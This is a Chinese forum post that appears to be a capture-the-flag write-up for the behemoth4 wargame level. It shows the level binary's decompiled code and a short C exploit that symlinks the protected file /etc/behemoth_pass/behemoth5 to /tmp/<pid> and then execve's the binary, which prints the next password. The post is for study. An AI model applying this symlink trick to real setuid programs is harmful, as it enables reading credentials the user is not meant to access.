WarGame-behemoth4 解题思路
2019-09-16 14:08:29 Author: bbs.pediy.com(查看原文) 阅读量:154 收藏

[原创]WarGame-behemoth4 解题思路

5天前 325

[原创]WarGame-behemoth4 解题思路

Behemoth4的伪代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-28h]@1
  int c; // [sp+14h] [bp-14h]@4
  FILE *stream; // [sp+18h] [bp-10h]@1
  int v7; // [sp+1Ch] [bp-Ch]@1

  v7 = getpid();
  sprintf(&s, "/tmp/%d", v7);
  stream = fopen(&s, "r");
  if ( stream )
  {
    sleep(1u);
    puts("Finished sleeping, fgetcing");
    while ( 1 )
    {
      c = fgetc(stream);
      if ( c == -1 )
        break;
      putchar(c);
    }
    fclose(stream);
  }
  else
  {
    puts("PID not found!");
  }
  return 0;
}

将这题单独发出是因为这题可以让新人学习一下C语言的用法;经测试,pwntools并不能在程序执行完成之前创建一个软连接,也就是说Python的执行速度还不够快,所以我选择C;这里还可以顺便讲一下execve(“/behemoth/behemoth4”)和system(“/behemoth/behemoth4”)之间的区别,虽然结果都是执行了behemoth4,但是system函数相当于用shell command的方式执行,PID会改变,而execve是将目标程序替换到当前进程中,大致可以理解为新开了一个线程来执行,PID不变,所以这里的getpid得到的就是behemoth4的pid,攻击代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <strings.h>

int main()
{
	int pid;
	char *s;
    char *argv[2] = {"/behemoth/behemoth4",0};
    sprintf(&s,"ln -s /etc/behemoth_pass/behemoth5 /tmp/%d",getpid());
    system(&s);
execve("/behemoth/behemoth4",argv,0);
return 0;
}

执行结果如下

behemoth5@behemoth:/tmp/pure/gavin$ ./behemoth4_exp
Finished sleeping, fgetcing
aizeeshing

小结

附件是可执行文件

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com


文章来源: https://bbs.pediy.com/thread-254381.htm
如有侵权请联系:admin#unsafe.sh